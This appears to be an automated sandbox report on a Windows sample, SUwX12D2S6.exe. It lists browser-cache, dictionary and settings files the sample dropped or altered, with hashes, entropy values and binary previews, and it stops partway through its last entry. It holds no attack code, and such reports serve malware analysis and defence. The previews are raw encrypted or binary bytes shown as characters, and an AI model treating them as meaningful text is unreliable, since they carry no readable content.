SSDEEP:	192:Ky5X377pLeOu1lbbVP7dvhq8t6TWcX2kSvHaVJwRFj8QtSgKy6qeGOcd1LE3suie:D/pLyjTnq80f2kSfQJcJ7tFFHOcdu3ss
MD5:	49459E6DDEE8215C19C500761988DF65
SHA1:	616EDED25E9B05FCBA561EBD895342EF394C0A24
SHA-256:	F1EE7BC6E487D3F1EEE0F0C532EB58D63219EE3429BD976D57510FF7525C5CFF
SHA-512:	6960B7293AF1B9EBAD97A14AC6A1D62C37EA95D373EFCA9AFE0D1F3144F33191571E70BBCFD6EB2869AB9BEEFCCF2583500D9FACFAD7F3FACC7E44761F956853
Malicious:	false
Preview:	..9...kv.....b._.<.t...nTH..J`.u..'bs...(.0.....E...!/8..JR.M?....`...Y.....]_.h\|...ENfh..........X.{...P..I..!J...CQ..2.....n.......2l1..p..Ob:b.'r..mIT..+>.. .^..{.x...)..w}w....]r....+..HJ.......C....m.gI.<'...U{...Dn...t...5.x.....x1...{S..q..p...C".............QP.I...R9@.d..l...B...%Fm7.'!..mk....j..t%...-.[2eXj.T......X.DB...2.3UG..k..e...J6..#.<.o...f.xgY.F.~L....H..ne.m.2f.dn...U+....}..eu.s.RV...cu(.]JP.j&g..v..Bd.t(....+..}....f.M..-...Z..LP.w....F.?6....w^..i..l...{VI../.ZW.6.t...U..../9.c+...{,.Q......1.......uv0"'..+..l..@,.(7p~..A..m...i..q....W..E;.1s..~..pz.U.GE.T'../N1........EY.C..CS.4.{.J..T..X....K....2.)..Y-..[.W...7...$.VbEL.....2f7..x..P...O....&?..Y.._...y\.BT@...Oa.i...b.bT.xKb.(PL..~..-d..V....Ah...+.U=....eH......'.~..g~j.....f,g....9..CQ..t....Nz..6..<l.e.n!\......T.9+=...h.(.-.W.o.........G:5.WZ.U...:.F.@.I.F...J...b.h.t....u..EI-O.WS(.T^@K....../..;.r.. W'..#.......te....w.+.....?...>....5....w.5./..!:....d,k.\....

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000A.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.841275671714492
Encrypted:	false
SSDEEP:	6144:uiHvRkC9wdjUjfpOuWPQsXBmPWGIWXnVrf6uwl0NBwPonfqnA7pb4JRwoDxflrVI:uiHNwdxXvXCibOaU
MD5:	27B9CD2DC2220A53ED51FCDE96E3A198
SHA1:	7679054B41DDE2EF30C33C427154DE39B4953523
SHA-256:	99DCCADBAB89BBBC48F9A554DD1F7F6ADF1F96F1584F83773E56EFB99C69A8F9
SHA-512:	C9BDF55CD9885E0AAFA6D06EB164AE1865EB57805D53F54F06429A3CD0DCDA9FD51799EAB4944EA758CD984FA2518501B1380A7FB226352EC97E8C54BADC2F89
Malicious:	false
Preview:	......F..t}....a...?....0...)>+h.E..-.W..c.#.mbc..#.uq.K.3.......C.W....F.5.iMs..6.J.1.9....i..ZwH.T.Mj`.c......d<....c......0#ZT..=D.C;v.8........A.9=.....>..i.......HY[.V.s.J..5.K.n.G..F...-..22.~...Xz.=.. \.Or..F..+j...Hf.7...G.t&?..~/.~...V0.P.Z..&..k..I...Ng[.o.........J.J......O..../r.A.Z}..$lO...Ir...{e...]...l^......_....p..hd0ZL..M;.^....'..... ...z..l..OQ......3.........d0..M.{..0.g.[e.H.:.7....y69.O.j..........wK..U7.-o.~.B...TD.y..M..{..Jf....Y......8,8.r.......d.H..~\.T..u.....R...J..W.[.[.....Y.f.....a..1S.8...wF@..3N.......U.n..{.... .7z.....L.:.E..\...5T.....m.w.K.-K...G..U././..n.{.<9.J....d.\0..H{)?..x&.F.....a.....!\[L........b...9[...?_..)...]z.".s.....U...Y...*..nW.M>f..3;.J-.AY...P.Hn=vl@`....T..-`/...2^....x..&.u/.....^.`g..Gs...9.'...'.y.@:.....rj...&...v.s,.."e...E.}...g...s..D.`:..d}x$..\|..\|`....%`...8...F=..wH...K...@SD.9...2.....'......e{b..`q..p...f....X....t..!...F.....w.j..Y..A...(.....a..l.J....>....!..\|..C...Q.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.206610501755936
Encrypted:	false
SSDEEP:	3072:zaH4vim7WjDrryHs44LGTmFf6/cYGXD+nJiE9YTwLJImcJCHbC5:zaHXmCrryMaTmpXCE9wWmrHW5
MD5:	CC380882DBA7C5E9624AEB6BD264BE9B
SHA1:	93303DA89BCA9080C5EB583058C5EB3098EE6384
SHA-256:	6EA84B5A8CE386BED9541B1907D3CF7FC26557E55A7ED08D1C854894234490B8
SHA-512:	38BF2A4A76551CBEFCD39BB50CF9CCB8AE4728A341D0BB715CF31526D3D8D9C497E6F11D848C253FB3860DCF7CD411A426C654D30285E859552921B1AE60D6DA
Malicious:	false
Preview:	.....L.9L$.N)W...+.4..zv......2v.'..(.........<......,..F...G.....j.IK.8....v....(..]....`P6.....K....y..V.....z...:.B.1c..B.........4....,14...z.....u.t..S...V..?v_..$.....n.\.-.cQ....Z.[....UM4..cH.#..kDX.^...a;.B.-....4.Z....zs.Y..H-.2(bd6....+.%...F."..:....}........2\W.......9.X.v..J%.........!Y.F....svK..F.V.lxGP=.n.GI+DF...'2-d6..~.z.."..{p.'..+C......1..&.SY..i...9..4...T<F....]vS.(w.....X.."gO.g.....W.....}....db.'1...=9.^...Rj,1...f.B.L....J..M...6....%.N.H........g,..X..\.%.I=.,..../....L....R;..k8Q..:.%~c..\..y..#n.Qi...r?Q.V.it....>\|..CT.c.Z..? .....=.0..WNnWy.wA.....n^..kO......$z'.....I.....^..9.5.....S....7..@ R..eK..W.s$...D.....m..e...:.x..S....m......"k0......b......Y...y.D.U7..Mix..$..M@......+ka.+..v.u...@)3...,.J..tT..i~..v.oe...p.?..g$&.m>%{........C.%.I.......k.6T/.Ak>.....}-.N..X.W....pR /.#.q.q.........r..P..'..q.?.m......M..E.;..AO..o......3,w..G."2.5....'H}...L.l&/5.C..?;..\|.......@.=...4:'NN.Q...n..B..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207404337891504
Encrypted:	false
SSDEEP:	3072:LiF7ksJA6U0Kna+PivdOiF2YbnG+GwUkFUd7agEZY+nQ2D8NDucezJ:2USKa/OSG+JFA8z1+lezJ
MD5:	C1F084B45F181AA33F8A77C41016E97C
SHA1:	B41B518926E7C6193F34CA7BA8978F2290CBCD43
SHA-256:	593790D0A3138700F4CD7DD6250A4E17D802F6D0B66250E0C1ED0D5B7C51BF2E
SHA-512:	95BE38542169A2B4925E647C805C551C385763EA9CABE3F391E8B25133829EA6C0C6CBE9A674C50E940EE06CF1FE106B6ED1D9D6852D33D2739D0FFD8FB41227
Malicious:	false
Preview:	......)Bf..^... ....0...<............MA".D.,.................Y...u...l^1\|..l.....?89..0#....Oo.?..gs6..B.-:...X.d..K/. .9P.7.c%).QDovcM-.....-S.>g"+l.,.?...F.........V.q..W.R$\._.F.p.:0...K.e.,V....V?.~.zi....tp.v.{.!4.(.?Q:.'....C......l..o.N...&.g....hl@..6.e..4rgum ...UzI.Rk...&0.:........JJ.#V+...W.+q.]...c..-.+..C.W..\|..f..%%{z.k.h.......0.....\>...\|nd.Y.!.....].A.6aj0\....W.5w..]L1.}...Oy..........H.^. \..Q..).L4.?.a...d,C.0...Z1..y.o.....].-\|.z.N....L..^..r....E............+..y...]g....3._5...;..0..(d0.R..W....>..yJ.d..>.I.r.yo..Z.H....).....(~.e....t..p..VI..;......-S.M.v.6..^.9...{\|_e..d.....d....A-.K....1.....\|,5..f.......m+]....W]Hl.4~.EX..............~[.-."....3....M..Z..Cft.....ri..jg....<.r........4Nc.{D..<....X..D}.g.`...^.'.}..._.~w..@n.9.1......z...1,.......)...8.i.!....I...>....HH............y.."..-M}z..-.ELk....2Nw.../lilMO.3..n:..`.mm.`cob.'..5..m.F.t1W.c...?.........w.../....v......R-.z..V.....yg7x).

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.264434045782693
Encrypted:	false
SSDEEP:	6144:lrZVs1HEJrCyTlWhCPkIQm3ha6Fct839wyntLdwXyvCTDjR:Zs1HErCilWg8nWha6Fc3
MD5:	8ACFCC0E693CFE1E6862C9A755C51110
SHA1:	3EF8FA478205FC7BC62750ACF3F9DBD98F602425
SHA-256:	CC0DE887583DA343841E86E566923BBAF12D28FA8A5BE560F0842D85D239E0BC
SHA-512:	6CEB171FF7207857157E269EF8AD7DBA92BFAF5134BE7EA9A6CA0890EE7FF6463FB145DA631EFECBF67DB0066F765DD04A482F431D0AEF8DB8E60D2C2F8A7F0B
Malicious:	false
Preview:	4JD....z.).....lX.......N.....I..K..LG f.....$..n........0..yyn.k..fpE.~..^(K..A...s{..].W.%.v..(a..Y2!AQ...P... ....u.~x4SSFP>`oe...KS..d....V..!.n...=.{..\......#.;....._......z01.+4Z....Z.....M....w.$.ar]...J!.\|!....]._.I0..w.....}0V..^..4....b.......4..B\?.V.e..2plJC.be1v1.4...N...aRp.9.F.w.0..)y.y./..D,.......0........6..F.......D.Xm...R29..Ts....v;.G.@_.w.b.J.......v....=.W,.!.!....._M.J....(...w......pn:iZ^+o.k>..j.V.+4.V..G.\|......6..9[.on&O.,d.y..4..r..z....}i.~.F..j...5+..fA.r..M.>.f....C ?q.7-.`..3......\|......i.?....Q...'D!..DY.....I:.H.R.$r.P.f3 .....rH.-7w2...39.b!..Qjq...$..X...s\|../.lG.V..}..`..2'J...E@@'..~f...r..5..07.CB...n.3P<{......,.......U$.....r\.n....m./R.XR.N..'..^.`.As...1.7Y.....$$3.._..(U...t6....E.......$N....gC',...?...............Q...>..e.{4...?...F..U 3l3..V...Q...o1q...........]x....k..'i.u..0>... ._.'[..y...O....b.e.J.K...x.o.q.6FrAV.t.H/#...).r.m.%.....X....nA$.....g.....G+k...`m.j...R..I.V........

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.991939793489578
Encrypted:	true
SSDEEP:	384:LKOghclwCODuZ/OyszI4tNdNPmXLCMqZos4+r2SwsJEGE9BFsipSPS0OnKXSGv13:eOgKG/DuwyuI4tNbmXWb94w2sSGsBF1E
MD5:	6012A2F480CE0D6A83F531233B2AA362
SHA1:	84A7F8FA61C0D69418ADF94BA77598A13379EC80
SHA-256:	E32B7CF977FF5B5F604C97E370ECC07AECE672EE9FFA35D83D4D85DCD20AEA5B
SHA-512:	4D29C37AC904F8F8B6A6FFDB7F0D45CF4A33274259DE0D1F224C585E2029D34E069FEA51B8B7239BF3FC9964E15FA6C83874E5E18CA4282417D76B500AE358C4
Malicious:	true
Preview:	........f...%.)..!}O.>D./3.ZE.(.....m...M..W@.).k.'.q)..N.s ....}H.6....F...2....... $G.4X..d5...`...~...1a.J>.:sO.8.{p.A.."...e[.dBr.W.....~../.k.m..b.F.q....>o.$gd..#.a.9......y........o..f...~...2.......$...1......U....0..../..Ek...U[..[2.....D..<.kX.../4.Y..& .1.Ddw........q..O.Z......3[7.V..C..7....q2..:.V....$b.'d..1.$.?T..R.Y.....m/Q..@r..`....cb..M......d;>...8.....Q.v7..)k..q...S.M.\|l...O.e.cRSE.~.x.!.. ?......b\....hJ.....!.4..`...A-...7X.M.Y .l..g.0.tw..j..h...n...z.&IY/.._.......U\A.n.......Y..5..o......y. ..{.D...W~.\|..{....=L/.......=G..S.v........>k....z.......?...Tj0\|.B:.A.3..>mS..k:....L...X.i..9.jG.=.t..D.R.W.X...y.......ek..K..m..-&YC.N.5b..........U8d.l.I.hp....._...%.Y......^.G.t97...S.C....C../...m.]z.....EO...x..>..~..3..h.{....m....../IK..../.R..0.......d.....&}..b.KX.......{.BW{L..#...W..1. Q.<.I....;U....G.#!_...Cm..Dz..9..-..M...F........,......J.Z....R.dVh..7g....,.'..>..:F@s%.H......yxA;+....2......l...b........\|..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.855893129970583
Encrypted:	false
SSDEEP:	48:YLwmqxGw7KdFsxKHTSDAaLzSIWorYffMn+SMZdNi8SFD:PxGwJxBMwzSYrYfqpM9xS9
MD5:	32019E2AF3D98201AD4921AB42F70381
SHA1:	DB6E7C1DCC8A403B21ED13C7EB4E37649AD70F22
SHA-256:	D402CDAB850E0E9EEF9BCFEA6C37779274DCB947E22F05660B2A06937D85BBE8
SHA-512:	80DFB066234B2660DFF3E018E21EA2F5E42DB05E057C6D54EF4E4B434B23698D816DD9EFEDF346AA4AEE2255C45E06AFA221D4F55F9B1B0BA6B8B66F2CEE0AE6
Malicious:	false
Preview:	{"spo.2.w18..........B..ClR..,~#5...<n.........V.@..f.b...F..f..P%..cd....{.....sj.{5y[,.J.y..d..{....1c. ...h._::<.O.k.].....)R..CE..7.......k...P...O...).,kq.X.._..P..0.....2..Y..U{......%.I..n)..5..@....:...FA.:.\$H}.K.j0G.K..qd]...S...e..,.".P...cmJ}.. d....S.q..5.g.Wa.:I...(.{...8,....C.78Ib".........%.?.7..2..^7.....'.1..Kg..U.57...<...,....)5...:..].VT.u.v.....,...B'...}DH0...7....L.....W.E>..\|...itc!...pK..t..F.....(..v>-~,.Ou.L...\|[..8.C.k.d8'.........b$.!....r.?..f;...,k\|..<..5...Jx.....\|......Q.hP.A.B:-n....\|......"...G/.;g../.#..c...@Bx..$@0tJ..G%.ro...a...f.(.....o#...,ov7B.5.~F..R#.,W ..fP..<d.z.S........!.i@.p.'36}...u ....$.,.>...uWp..v.\.sv......Hl-..6..T&......7bS.T..`pI..\|.......Q~........;.$.E...m+.[.6r!..E9.t...:.x.."g.R@*h.L.#....d,g...Y....... Ck..o...m....<._p...k..<..x....P..S.\.M.(t....h..Q<.3..rH......<...Z....(.!..<.Y~ev.S.+..~....U4.....y..\|..l.......R...+..!.)..}TIo[..H82c.l<.O}..1..f.n..!.%.z..i.F...\.a'#...#

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.075965804764856
Encrypted:	false
SSDEEP:	12288:YJ8tDnFuTTx2UhC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiql:YqtDnF0x2/cGGR7l/bqs6BjUNR+A
MD5:	2EE7F0348FF73D90282B25550DC19D8D
SHA1:	D18A2AB4E67CEC3876E36A219AE8A31A12DF7C67
SHA-256:	EF0E0503EDD9AFD7A4AFFF9726AAAB7032437655658C7BB0BF58230E8077707F
SHA-512:	F9986FD1D0B289FCE5855EE50C54BAE31421886E8A6C0E141890C474B0C6C4E3E1A240E364FBF739458D87B28ED01F01945B379FDC4DA168D8EA00ED62969B2B
Malicious:	false
Preview:	mozXD....'.W.5eV.~e Z..u...e.J.[....O.....[.4.u]+6...v03.I..........i....Q@}<..L....O.o".B....?.M$...T.[.l.b..EQ. 9p.Q2f...a.2.._.o....+....p.c.6.Bp.w.....w...n.2..>k....K}.E.3.02...,B.(...%$...]...QbE.'..\|.z.T......i..7....g..g..Z@A......C.~...I..\.x..3..D.#..2....U..=.6...!b.....,..$.)..zN..t..}.C...4.x.U..}...!Z<.rjb'.K.....V:6.g.V...N.".$.4........{7 l.-.7[..V....yG.%\|NK..2...@~.1.P`.N....H ..[....[...v..2...$....4....6.Z..mz..{...=........_S.#:E...F.\u..fwOMA.ol..l-.Y.YL...-..=>..... .2.....t#0.......N9.....o........cy&F..06.z.y'.3....(3.M)7\|..p'.yu%.R-pP 0..#..q-.J...]....ar...V..p.@./.........@I.]....\|.~.bQqQU...........~L4;U...b..-..T.ri..;.\Qu?[i.....I.c2.d..H.....U..).........._f...?.)....@a.r........1...j&O..#D.T.g.F.w..,'o.=.......M.,.......].Eh.....e_.;.c.....E?.S.....8\mGO..~.h.....+..z.^...*....S..u.l....j&.U+..g.!o9C;.._Ay.k.Dn8.......yt....B.m.5F ..^...~E....<..#...".9..Q......\|.Ix.S.\|.B.:g./...\..y@;....(8.gj.>L...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802796148263089
Encrypted:	false
SSDEEP:	49152:OXwwTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BLVl:iv8EW5IdVgdy6gn/SSyal+rPz
MD5:	268B271CBFB5A04E40384491A5AA2713
SHA1:	985FF401BA41FE9420EE32BDC2EC413703288A6E
SHA-256:	1548ECA5E30C0E2E4F7FE51931733AC11A04DA22D116E747BA8063D54A2062ED
SHA-512:	3F2151779BB734D2F01BFE5D29D1F090E657374C6F471B390FA5C35B0DD8BECDA439945BBA456C59EBD68975163780F39A051815D9761993FA095F424CB4D647
Malicious:	false
Preview:	mozXD..O...V?.d.....VB......s..(.....2.=.<.\.r...zr!..\|.>..fC1..8.7.P..D.2H...<Pl7.....n.g2....].w..LG..M...'...G.j..,...a..D..z....R.-.wC.."f..A.....5 @E.z.$^i....+..\..k.x.n.z..8...`..:d..M.`..`8...Q..H.......m..J.~.d.\|.'..m...k0...g&..N6..>V..w\.....=.4..fsp..6.....o....f...<\|......w7....~.".~..........Xd..K...b..4"_X.W..7.NK..[..`P"J5.....X... .......6..,<L{..GE(!.^L.6..p:...+H..'.\|.Y...M..op1>\...?ig........aY.W......+.....!9...{q..9#0.'n.L.....$Wc...F.q!.....j..n.5J.....a\...>jRM..e.......I...8.!.j.G~N..?px@...D................5n.y_.c..1.@T...,.....^m.".y79.#Q.X#^.N.m<.ztt..`....._.t!....7h...U1....K......b..`'`..gW.Va.n.G.{.KW0it..V.G1.......y.G..?A.......s_.!N....F@x..1...9....,...Q....P..?9.IE..}...\|..M..3.S.k....A6.ORF...~w.}O..`TgyEf......k..D%.2).n..lc......K.t9..o..>.....HrL..M./Al.'..@.^....O...k..U..LS.Q.TaSw..O\|y......_.^d......."o.V.x(PM.DL..Q.1[..3;..@.o.N.5......4...V-P<.q..\.......J..F...f....D.-..V.xC.3'.X...f....x.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998649162049134
Encrypted:	false
SSDEEP:	49152:209Qs+oM99IrJxEhfSI9CyYlNjcHu/Ek0:HOnJIYfS8qlJV0
MD5:	4071153515309327DE6A327CB5A7E7A8
SHA1:	02A56BAF97448063AFBF23E04C2FCB940473D37A
SHA-256:	0A718E9C7549EB1EC0E00BE432B3BDFA943E336A7EC6218FF3F64802FE19E635
SHA-512:	DC716AEEC43B4768DC684160461A82D1BD83BB69499294A31CA37502BAF1BF1C392B83ACE217C5847D4BACA77B30F03792F5264E4E1A2A5DE8563EB437F6E675
Malicious:	false
Preview:	startlu....!....Z...l..a..s..?p...HI."..O...c..]m...P0..&..T...2(48.U\@U..L,/z....T.=.....k.....y9.5f..^..{.<.....L:...........E%]...b.G{..p.....~.X,.,.A.......Q.0.PA<...L.n3HqG..>7^......i=y. qD..m.."Z...w.T...........P........u.......1.....Fny..._..}./k...4,..].G.....\|.$?%e..m..u....W..!.Se........}7..ps.L.~J...COg....q..I"I......eT.8...$.....`V.......Z.c..(..{\.E.A3'.F}.b..Nt.I.B..6........A..n...y...$<9.LT;.B.)..c...+,..."6.:G....PA.....OX.e3..%..R..c.........D-.?;......$..eK...[..W?.S...L..'.......6.!IE..!...7C.........j\|...$qc.....D"F..Pg.\.....+i.iS.S...L/.}PW.q.T).!.j...v.U....F..F..aF...H...../.'...M....^G`"./D6r(..Om.L.Y....=..M...+...c.W.p~a...iy.gi....J9...G.}]...X..c.y=!..t...(5.G.....}.R.w.>...~^..]..h...+......t U..I=m_FWl..4....F.U.-a..>l...k......b..f.-N...%..ny.qJ....uq}.1.>%..>j.6..2.....t\a...=..<.oA..I..]..U.....v.2Z....q.........pj.7.n%...7:. Y...."E....E..h.....l..........)..e.......l..p.H*.,..F.\|o...."...C.)Aa3.]Z...,`

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.938916298183633
Encrypted:	false
SSDEEP:	48:HI3e3SfvMDlFR3nRa7h5nejpg6ZUx6y1tY0CUpUsDD1oHtXMimvNFD:HHgMxn307hVej/Ux6EkjsDxmjmF9
MD5:	8D1A64C2139B9A8E375F3D12B4F82A9F
SHA1:	92A8F5607A3461A4953D8DE722F5DBCA446484B1
SHA-256:	EE0BA4ED65E7A1F5D3C7FF0F7699BDE4F88844C2757801E803D56B96A3C2D277
SHA-512:	27800B67E9766B98C49BE6BA9F501CFC618C5EBD3A17F97561B964F4713015F58BF268B0A377FEDFFD8841333804B2EC7F394D664C61C208298533E16E2B6E84
Malicious:	false
Preview:	mozUR..g..O.TW....0..X\t.q.R..M.(.......[...`..2..7,.....U..<....W)....... ..V.=LJo.d...n.;.B?%hf\.r...HU.=`..B@.Y{F:. <.cjzN........cT<..[.]Y.n.+1.q..c-...^.8e........ ..]bT.k....).m.z.Q1.P!q^.w&.%r............@\PD..g...........I..-...%...`.(m.Q..mof.9..\|..A.....cy....~(?....$.Z.gvn..2..$g.RGqEe...B.!.4"...>.m^..0o..Y\2.../,.y..!.._.....;s.'.4.....WBo..m..~...}E9g......O..?f.......7.z...h.+.r..n$#'.._.....Tq...6.. ^.OmW..h_g.<4.[ni.....$..v?0..;...Pm.9D_.-..s.gS.J..e.K4n!..C[.....q.P....9.*..w...9K...2...\|........L.a......O~3........@..<..#.d..p_...!..y...R.W..Q......_.c5..Y..Yj..:4...$.L......}.Qz.5..ZX..S..L..o.Q.~.....E....nT......f..J..u.x?IJA..l..O....(...+.?d.B...................=S/d..0...D-....'.k.N..e.#>\W.]1..@...x.}....{-.s5....}.q.(/.ka> .s.3.,.f.d.U.-/..!_P.( ...-.)}..A.....#..j.;Y.L...>........{W)....)U..!..D..,..O.S......E.......I......}='.1.K.b.......!.D.kC.,.(...[..bS. L.S..[.\ntE0Z.R.......aR4,S.S.........]....;.w..I.4-.U..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.955464580013104
Encrypted:	false
SSDEEP:	96:dTDylcI/NYIhy2aJ2qyknthhM1deuSvkKlELd41hCr/9:dfylceI2cTyk92deJvll8d4irl
MD5:	F3C930EC1BA4A618EEF4160855277EC7
SHA1:	F9B18044899C388EF0D6E0BB685E1EA1C7F5814C
SHA-256:	F84549C86DF7D94E9ECD66D62A6562C5EEEF3754C9B98BD7D95F23402D4A307E
SHA-512:	1F38C5DBA19AACF76F7A2994E279A1CBD5F1503B74907A448CDD74FA907F8E767FF482136342357CE4E6150868A1DA8A8BDE23B8D2938311E5B83643AFE62592
Malicious:	false
Preview:	mozUR.#..IiUh..@=....F...4.O.}"......~......b4..>}......_..W.k.O.ak....'...+.b......M........8k....yRz....A..S&..b..s.......@.3. .5.n...u.&..2..I.D..I.....q..^.4._MDyU....e,2.k..W..L'..v...c......}S.<..K.T..j..._..../..T.\.&Ue....<..X+....e.&......P..........=.,&.5..z.Im.YL.Z\|..q.}.mt$...Y...(Mk<3S.Y...>..C+.U..\.w......2....Q...P.`.. .5......C.t.. ...p.x[.X4k.#W.8=...=...+E...6W<.....o...}..:.....-.^....oE...k...k.si.N.j\t.9.Y!..r.T....h.?/G...,......#.y-.....q0.o.....$.<y.....u\|.,.....B.\|..Y4.o..7Qm........D...-..(...JT...jCSHa.......\|..A'......y..5u.) ....g.9........LO.QU...@..Zd:.a..4"..0...3...^X7....d.[KM.s...... ....q..e.....2cj.{.......ot..M...={y..J...i.p;..g....J2.&..gV...0D..:.....v..@d.1I...`L.X"#o<...Bz.oF..L.aD.}PB...M.%......6"..H{x.6....Z.^H.v.Cw.........P..........(.lJ...Z:.....8..%..U.....\|..+.p.1......R!!b..}E...<&.4v;.U........I..7^.3H.X..RZ~.k..\.r...f0..R....7g.H....R...S.D.../.].....o.S..}.[..Y8j1AvK.W.&~...........d..y.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998622277701753
Encrypted:	true
SSDEEP:	3072:v9oP+J7O9wNR5muVr+V0xwhNyTDsO7VLpSRnvwm:vOOCq8tdhGoOpLpMvr
MD5:	90B189736E06B1F1CDFAFF5B816EDE3C
SHA1:	49145A181EAEEBCB58DD63DBF4348D48B42AC56B
SHA-256:	9AC27940323FEB1F684897033C231E3412C62E5973435302F8F5F8B8AB78E4F9
SHA-512:	19D3AA7FD5405E427BDFC483ED43C848E9A88F581DBD4ECFD7F6B2CEB62ACBB2B763C8003E96F5A13B42B7ED6084DEABB15B154CF294CC94C58DD983B54D14AC
Malicious:	true
Preview:	mozJS.k....g....{..30.Z.A..K.........+]...8.../.3....&o.'%.-Z....\|.>.bh:..^.2.[..........."...I...wz.'8....-..)dQ....c....^.$.?...r1.m.{......\R.1.C..R.............i9\........-..8Z..........~.M.S..g.).c.lYs..^...."..]w.....D..........A;..w.p...j.`.7e{..."..<.e...j....%I[.l.&'+.2.....F..dH..n....#=+......d....2...\2....h.9....o.....v..S.>]......w.e.......5_TZry.d0..aN>[...Jp.F.x.%...d...@......P..#...'....#......Nhr.3..D.......wW~...&...d...+...&"[..S.(.]..l}.Z...6e.iT.^......=-.s.d.....s.....'.m.a.^4......d..#q/.-6... ."........K.)=...g"...<.u.\|.K....J.q..........K.'!...X...&j......k...E2#.-(.B...V..2..}.kx.J.V;.......ZB.S.........jD.}.!8.w..Wb.....j......@...M.......R..:...R-.0..~.z.G... f.\U...ha..(..F....n..t.;.D@.[..........[.A....#m.aq.$K...~..2..^....-).X2.......I/\|Mk.g,....c........=."3.i.l.k........V....r.....F..\|)....W..,.kn@..!5.2....5d...?0....sK=..\|.e..........\|.f.......\.^..O...$8O.v..@mV.._9..\|\.Y.m7..`..PB..J.?...

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980387544988935
Encrypted:	false
SSDEEP:	192:aDThXmRAekD2KpFk5I82TJCaksDPDBLVAhK6ZO9fH5:aDdXaLudpeN2bksTD5VAhKl9fH5
MD5:	61FF0B28DE27010F0449509FBBD2812D
SHA1:	00605555BD63BBE3E23B324E285E849FFAEF194C
SHA-256:	2235E73DAFB97A9812587BF2FDDB49BF118BF40E63A08DAF4D30D71AFB658E30
SHA-512:	4F9F416873D52900389D6377F502897BC758F1D446A7CD6C6F7F45C9935B907B71F4C880B2EA432A7392BFBF27638DF4313EAA8310B44F6E8239F85A2897D6EA
Malicious:	false
Preview:	regf.F.Y.Wh.R..hY.bPvi..-XPj..{.n....L.='.N.F]......xS. f....(..d.y..$e...T._..E:+....Q...+S.......".:C....a=.....2;D...#.d.TtM.....R=m.n.o.of..k....]....X...K...nt....#...g..m.(pB.]`...n.........E...\|..=K.:...OZ..]....d...&J...!............gj.l...K^#]..A.xm...pY..x.N.T.2...j\Yf.q.'.....k..2..V..$...q..D)...."N..~y.....Q..%.c.5...Z.#o..\.U.......m.3U..2?.#>zu.A.rP...t#....)..............z...V...T.......\|.~....QI=O....+.Wi$.._..).?<>......[...is.4...d......y.. S).6@.?..M..............o..1Y...;..6....b..Fx.&8M.L.......R..H..h.Uw...'..#$7....Y.o4/N..g.z>.N,...F...Z.BQ.Nzr...xG9%Z..`g.....T.7.dCe....Q*\V....1...T..+.a...J.G.!...Ae..U..+<...0NS!?Z}L.,..Mz.2...7I.Wd.Ho^.......P^u......\..M....aR<#...jYl.\|..Y........3.m..........2.A...}.(..e./........m...../(U...Ne...5....Q..7..bs.#v..@0.5..]i_.]e..{0)O."'..l...{_...y..R<z..D.".....rG,.d.....e..4d.0~.WyY...;....~.y.c....A...bV.$.09...Vx.'.......d...<~=........K..........#........=.9....`.

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
